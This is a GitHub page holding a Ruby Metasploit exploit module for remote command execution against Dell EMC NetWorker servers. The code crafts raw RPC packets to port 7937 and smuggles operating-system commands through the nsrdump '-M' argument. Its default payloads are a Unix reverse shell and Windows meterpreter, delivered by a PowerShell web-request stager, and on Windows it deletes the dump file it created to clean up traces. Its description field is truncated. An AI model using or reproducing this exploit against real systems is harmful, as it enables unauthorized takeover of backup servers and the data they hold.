-
Notifications
You must be signed in to change notification settings - Fork 0
/
emc_networker_rce.rb
174 lines (149 loc) · 4.63 KB
/
emc_networker_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dell EMC Networker Server RCE',
'Description' => %q{
The
},
'Author' =>
[
'Quentin Kaiser',
],
'License' => MSF_LICENSE,
'Privileged' => 'true',
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
],
[
'Windows',
{
'Platform' => 'win',
'CmdStagerFlavor' => 'psh_invokewebrequest',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(7937)
])
end
def add_header(rpc_request)
rpc_header = [0x80000000 + rpc_request.length].pack('I>')
return rpc_header + rpc_request
end
def pad(content, pad_len=4)
return content + "\x00" * (pad_len - (content.length % pad_len))
end
def rpc_base
client_hostname = "\x00" * 16
# craft_rpc_header
rpc_request = ""
rpc_request << [0x5ebb5810].pack('I>') # XID
rpc_request << [0x00000000].pack('I>') # message_type
rpc_request << [0x00000002].pack('I>') # rpc version
rpc_request << [0x0005f3e1].pack('I>') # rpc program
rpc_request << [0x00000001].pack('I>') # program version
rpc_request << [0x00000006].pack('I>') # rpc procedure
rpc_request << [0x00000001].pack('I>') # unknown
rpc_request << [0x00000030].pack('I>') # unknown
rpc_request << [0x5ebb5810].pack('I>') # XID
# oldauth, we add the client hostname
rpc_request << [client_hostname.length].pack('I>')
rpc_request << pad(client_hostname, pad_len=4)
# TLV
rpc_request << [0x00000000].pack('I>') # type
rpc_request << [0x00000000].pack('I>') # length
rpc_request << [0x00000002].pack('I>') # value
# TLV
rpc_request << [0x00000000].pack('I>') # type
rpc_request << [0x00000000].pack('I>') # length
rpc_request << [0x00000000].pack('I>') # value
# TLV
rpc_request << [0x00000000].pack('I>') # type
rpc_request << [0x00000001].pack('I>') # length
rpc_request << [0x00000071].pack('I>') # value
# unknown
rpc_request << [0x00000001].pack('I>') # ?
return rpc_request
end
def craft_rpc_request(command)
instruction = "command"
rpc_request = rpc_base()
# TLV (instruction)
rpc_request << [0x00000001].pack('I>')
rpc_request += [instruction.length].pack('I>') # length
rpc_request += pad(instruction)
# TLV (command)
rpc_request << [0x00000001].pack('I>')
rpc_request << [command.length].pack('I>') # length
rpc_request << pad(command)
rpc_request << [0x00000000].pack('I>')
rpc_request << [0x00000000].pack('I>')
rpc_payload = add_header(rpc_request)
return rpc_payload
end
def confirm_payload
payload = ""
payload << [0x00000007].pack('I>')
payload << [0x00000000].pack('I>')
payload << [0x00000001].pack('I>')
payload << [0x00000001].pack('I>')
payload << [0x00000000].pack('I>')
return payload
end
def execute_command(cmd, opts={})
begin
# SEND: send the message to the node
output = ""
dumpfile = Rex::Text.rand_text_alpha(8)
if target['Platform'] == 'unix'
command = "nsrdump -m root@localhost -o #{dumpfile} -M \"#{cmd.to_s};\""
else
command = "nsrdump -m root@localhost -o #{dumpfile} -M '#{cmd.to_s} & del \"C:\\\\Program Files\\\\EMC NetWorker\\\\nsr\\\\applogs\\\\rh\\\\#{dumpfile}\" & '"
end
payload = craft_rpc_request(command)
sock.put(payload)
data = sock.recv(1024)
sock.put(confirm_payload())
while true
data = sock.recv(1024)
output += data
if data.include? "\x80\x00\x00\x03\x00\x00\x00\x01"
break
end
end
if target['Platform'] == 'unix'
print(output[24..].match(/([^\x00]+)/)[0])
end
rescue IOError, EOFError => e
print_status("Exception: #{e.class}:#{e}")
end
handler
disconnect
end
def exploit
connect
print_status('Exploiting...')
if target['Platform'] == 'win'
execute_cmdstager()
else
execute_command(payload.raw)
end
end
end